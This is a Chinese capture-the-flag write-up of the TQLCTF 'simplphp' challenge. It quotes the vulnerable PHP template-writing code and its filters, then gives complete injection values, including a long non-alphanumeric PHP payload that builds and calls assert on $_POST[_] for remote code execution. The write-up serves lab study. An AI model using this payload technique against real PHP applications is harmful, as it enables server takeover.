TQLCTF simplphp复现

直接从官方wp读取源码处开始,发现这里是根据用户注册信息来模板生成php文件

关键部分代码

if(isset($_POST['user']) && isset($_POST['pass'])){
    $hash_user = md5($_POST['user']);
    $hash_pass = 'zsf'.md5($_POST['pass']);//对passmd5加密
    if(isset($_POST['punctuation'])){
        //filter
        if (strlen($_POST['user']) > 6){
            echo("<script>alert('Username is too long!');</script>");
        }
        elseif(strlen($_POST['website']) > 25){
            echo("<script>alert('Website is too long!');</script>");
        }
        elseif(strlen($_POST['punctuation']) > 1000){
            echo("<script>alert('Punctuation is too long!');</script>");
        }
        else{
            if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
                if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
                    $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
                    $template = file_get_contents('./1.html');
                    $content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
                    file_put_contents($hash_user.'.php', $content);
                    echo("<script>alert('Successed!');</script>");
                }
                else{
                    echo("<script>alert('Invalid chars in website!');</script>");
                }
            }
            else{
                echo("<script>alert('Invalid chars in username!');</script>");
            }
        }
    }
    else{
        setcookie("user", $_POST['user'], time()+3600);
        setcookie("pass", $hash_pass, time()+3600);
        Header("Location:sandbox/$hash_user.php");
    }
}

pass是直接不用考虑的,因为这里pass用了md5加密了,无法构成有效字符串
TQLCTF simplphp复现
TQLCTF simplphp复现
TQLCTF simplphp复现

解题基本思路

利用模板内有几个输入点的特点来把输入点之间的部分html注释掉(利用/**/),然后构造php语句rce
TQLCTF simplphp复现

过滤

//正则如下
//除了正则外前面还有长度的限制,user<=6,website<=25,punctuantion<=1000
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){      // user=1);/*
                if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){ //website=qq
                    $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);//punc=*/; $_= [];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__ ++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__ ++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++ ;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$____ ;$___($_[_]);/*

1.user
TQLCTF simplphp复现
2.punctuation
这里用的方法是无参构造(p神的文章,看方法三)
3.website
不用管吧,,,但是官方wp是用的halt_compiler去截断后面的语句,而且会出错(环境问题
TQLCTF simplphp复现

到这里最后就可以POST[_]来命令执行找flag

上一篇:JVM-JRE-JDK的关系


下一篇:git工作流